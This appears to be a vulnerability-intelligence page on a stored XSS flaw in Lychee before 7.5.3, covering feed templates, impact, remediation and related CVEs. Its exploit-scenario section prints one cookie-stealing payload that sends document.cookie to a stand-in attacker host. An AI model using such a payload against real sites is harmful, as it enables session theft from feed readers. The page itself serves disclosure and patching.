Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents moderate-to-high real-world risk despite missing CVSS and EPSS scores. The attack vector is network-based and requires no authentication (PR:N implied by public /feed endpoint), indicating broad exploitability. Exploitation complexity is low-attackers need only craft malicious HTML/JavaScript in a photo description field they control or can influence. The technical impact is significant: stored XSS in feed endpoints can compromise feed consumers (RSS readers, aggregators, bots) via persistent payload delivery. However, the attack is limited by browser same-origin policy and the context of execution (feed readers, not the main web application). No KEV status or public exploit code is mentioned in provided data, suggesting this is not yet confirmed as actively exploited in the wild, though the straightforward nature of XSS injection makes exploitation trivial. The patch availability (version 7.5.3 released) and clear fix path reduce urgency for immediate critical response but warrant prioritized patching for all public-facing Lychee deployments. |
| Exploit ScenarioDerived | An attacker with the ability to add or edit a photo description (either through a legitimate account or by social engineering another user) injects malicious JavaScript payload such as <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)"> into the description field. When a user subscribes to the Lychee feed in an RSS reader or when the feed is crawled by aggregators, the unsanitized payload is rendered in the feed XML/JSON, causing the reader or browser to execute the JavaScript. This exfiltrates session cookies, performs actions on behalf of the feed consumer, or redirects to phishing sites. No public exploit code is identified at the time of analysis, but the attack requires only basic knowledge of XSS and feed syntax. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
Stored cross-site scripting (XSS) in Lychee photo-management application versions prior to 7.5.3 allows unauthenticated remote attackers to execute arbitrary JavaScript through unsanitized photo description fields rendered in publicly accessible RSS, Atom, and JSON feed endpoints. The vulnerability stems from use of Blade's unescaped output syntax ({!! !!}) in feed templates, enabling malicious descriptions to inject executable scripts that execute in the context of any RSS reader or client consuming the feed.
RemediationAI
Upgrade Lychee to version 7.5.3 or later immediately (see vendor release at https://github.com/LycheeOrg/Lychee/releases/tag/v7.5.3). The patch, merged in commit d2e2606a0223d5a384d5b806db1b31eb587adc5c and pull request #4218, implements proper HTML sanitization of the description field prior to template rendering. If immediate patching is not feasible, disable public access to the /feed endpoint via reverse proxy or firewall rules, or implement request-level HTML sanitization middleware that strips or encodes potentially malicious tags before feed generation. Additionally, audit existing photo descriptions in the database for stored XSS payloads and sanitize or remove suspicious content.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Lychee (CPE: cpe:2.3:a:lycheeorg:lychee) is a Laravel-based PHP photo-management application. The vulnerability exists in feed generation templates (RSS, Atom, JSON formats) that render the photo description field using Laravel Blade's triple-brace unescaped output syntax ({!! $item->summary !!}). Unlike standard Blade escaped output ({{ }}), unescaped output bypasses HTML entity encoding, directly rendering user-controlled content. The root cause is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic stored XSS vulnerability where user input (photo descriptions) is stored in the database without sanitization and later output without context-appropriate escaping. The /feed endpoint lacks authentication requirements, making the attack surface public.
Know when Lychee gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:L/SA:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Lychee is a free, open-source photo-management tool. Prior to version 7.5.3, the photo description field is stored without HTML sanitization and rendered using {!! $item->summary !!} (Blade unescaped output) in the RSS, Atom, and JSON feed templates. The /feed endpoint is publicly accessible without authentication, allowing any RSS reader to execute attacker-controlled JavaScript. Version 7.5.3 fixes the issue.
Executive ViewAI
Organizations using Lychee should be aware of moderate risk from CVE-2026-33738, a cross-site scripting vulnerability rated CVSS 4.8. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in XSS Vulnerabilities in Web Applications
View all 6Cross-site Request Forgery (CSRF) vulnerability in Lychee version 3.1.6, allows remote attackers to execute arbitrary co
Cross Site Scripting (XSS) vulnerability in Lychee 3.1.6, allows remote attackers to execute arbitrary code and obtain s
Lychee is a free photo-management tool. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable,
Authenticated path traversal in Lychee photo-management tool prior to 7.6.4 allows any logged-in user to read files acce
Lychee photo management tool versions before 7.1.0 contain an authorization bypass in the album password unlock mechanis
Paid fulfillment bypass in Lychee (Supporter/Pro editions) before 7.7.0: the checkout validators accept any OmnipayProvi
Unauthenticated buyers on Lychee instances running the Supporter/Pro webshop can tamper with the parameters handed to th
Unauthenticated attackers who know the shared identifier of a public, password-protected Lychee album can pull down a ZI
Lychee photo-management instances running versions prior to 7.6.1 expose POST /api/v2/Album::unlock with no throttle, at
Denial of service in Lychee before 7.7.0 allows an authenticated user with upload/import permission to tie up image-proc
Unauthenticated remote attackers can retrieve a complete OpenAPI schema and repeatedly force CPU-intensive schema regene
Lychee-v3 3.2.16 is affected by a Cross Site Scripting (XSS) vulnerability in php/Access/Guest.php. Rated medium severit
EUVD-2026-16417
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB